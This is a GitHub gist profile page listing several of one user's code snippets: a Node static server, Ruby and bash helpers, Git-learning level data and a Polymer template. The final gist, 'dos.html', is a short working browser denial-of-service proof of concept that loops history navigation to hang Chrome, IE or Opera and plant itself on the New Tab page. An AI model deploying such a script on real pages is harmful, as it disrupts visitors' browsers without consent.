Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View Ajedi32's full-sized avatar

Andrew Meyer Ajedi32

View GitHub Profile
var http = require("http"),
url = require("url"),
path = require("path"),
fs = require("fs"),
port = process.argv[2] || 8888;
var subDirectory = 'public';
http.createServer(function(request, response) {
@Ajedi32
Ajedi32 / optional.rb
Created June 20, 2014 21:05
Concise way of passing an argument to a method when the argument is not nil
# One line: dead simple.
o = ->(arg) { arg.nil? ? [] : [arg] }
# Usage example:
def some_method(required_arg, optional_arg=:default)
puts "Got required_arg: #{required_arg.inspect}"
puts "Got optional_arg: #{optional_arg.inspect}"
end
pass_this = "Required arg"
@Ajedi32
Ajedi32 / push_after_rebase.json
Created March 16, 2015 15:02
Learn git branching level demonstrating how to push remote changes after a rebase
{
"goalTreeString": "%7B%22branches%22%3A%7B%22master%22%3A%7B%22target%22%3A%22C3%22%2C%22id%22%3A%22master%22%2C%22remoteTrackingBranchID%22%3A%22o/master%22%7D%2C%22o/master%22%3A%7B%22target%22%3A%22C3%22%2C%22id%22%3A%22o/master%22%2C%22remoteTrackingBranchID%22%3Anull%7D%2C%22feature%22%3A%7B%22target%22%3A%22C2%27%22%2C%22id%22%3A%22feature%22%2C%22remoteTrackingBranchID%22%3A%22o/feature%22%7D%2C%22o/feature%22%3A%7B%22target%22%3A%22C2%27%22%2C%22id%22%3A%22o/feature%22%2C%22remoteTrackingBranchID%22%3Anull%7D%7D%2C%22commits%22%3A%7B%22C0%22%3A%7B%22parents%22%3A%5B%5D%2C%22id%22%3A%22C0%22%2C%22rootCommit%22%3Atrue%7D%2C%22C1%22%3A%7B%22parents%22%3A%5B%22C0%22%5D%2C%22id%22%3A%22C1%22%7D%2C%22C2%22%3A%7B%22parents%22%3A%5B%22C1%22%5D%2C%22id%22%3A%22C2%22%7D%2C%22C3%22%3A%7B%22parents%22%3A%5B%22C1%22%5D%2C%22id%22%3A%22C3%22%7D%2C%22C2%27%22%3A%7B%22parents%22%3A%5B%22C3%22%5D%2C%22id%22%3A%22C2%27%22%7D%7D%2C%22tags%22%3A%7B%7D%2C%22HEAD%22%3A%7B%22target%22%3A%22feature%22%2C%22id%22%3A%22HEA
@Ajedi32
Ajedi32 / designer.html
Last active August 29, 2015 14:20
designer
<link rel="import" href="../core-icon-button/core-icon-button.html">
<link rel="import" href="../core-toolbar/core-toolbar.html">
<link rel="import" href="../core-scroll-header-panel/core-scroll-header-panel.html">
<polymer-element name="my-element">
<template>
<style>
:host {
position: absolute;
@Ajedi32
Ajedi32 / .bashrc
Created May 1, 2013 16:15
Add this to your `~/.bashrc` file to enable the use of the `subl` command on your Git Bash prompt on Windows. (It may work with other shells as well, but I've only tested this with Git Bash on Windows and bash on Ubuntu.) Note that this command not only supports file input, but also simulates support for piped input as well. ``` Usage: subl file…
# Enable the use of the `subl` command
subl () {
subl_path='C:\Program Files\Sublime Text 2\sublime_text.exe'
if test -t 0
then
"$subl_path" $*
else
timestamp=`date +%s`
filename=$1
shift
@Ajedi32
Ajedi32 / merge_pr_to_another.json
Created April 15, 2016 14:46
Merging one pull request into another
{
"goalTreeString": "{\"branches\":{\"master\":{\"target\":\"C1\",\"id\":\"master\",\"remoteTrackingBranchID\":\"o/master\"},\"pr1\":{\"target\":\"C3\",\"id\":\"pr1\",\"remoteTrackingBranchID\":\"o/pr1\"},\"pr2\":{\"target\":\"C3\",\"id\":\"pr2\",\"remoteTrackingBranchID\":\"o/pr2\"},\"o/master\":{\"target\":\"C1\",\"id\":\"o/master\",\"remoteTrackingBranchID\":null},\"o/pr1\":{\"target\":\"C3\",\"id\":\"o/pr1\",\"remoteTrackingBranchID\":null},\"o/pr2\":{\"target\":\"C3\",\"id\":\"o/pr2\",\"remoteTrackingBranchID\":null}},\"commits\":{\"C0\":{\"parents\":[],\"id\":\"C0\",\"rootCommit\":true},\"C1\":{\"parents\":[\"C0\"],\"id\":\"C1\"},\"C2\":{\"parents\":[\"C1\"],\"id\":\"C2\"},\"C3\":{\"parents\":[\"C2\"],\"id\":\"C3\"}},\"tags\":{},\"HEAD\":{\"target\":\"pr1\",\"id\":\"HEAD\"},\"originTree\":{\"branches\":{\"master\":{\"target\":\"C1\",\"id\":\"master\",\"remoteTrackingBranchID\":null},\"pr1\":{\"target\":\"C3\",\"id\":\"pr1\",\"remoteTrackingBranchID\":null},\"pr2\":{\"target\":\"C3\",\"id\":\"pr2\",\"r
@Ajedi32
Ajedi32 / dos.html
Last active September 14, 2018 20:37
Chrome / IE / Opera / ... DoS
<title>I'm on your homepage!</title>
<script>
for(let i=0; i<10000; ++i) {
document.location.href="#";
window.history.back();
window.history.forward();
}
</script>
<p>This page should soon be showing up on your New Tab page</p>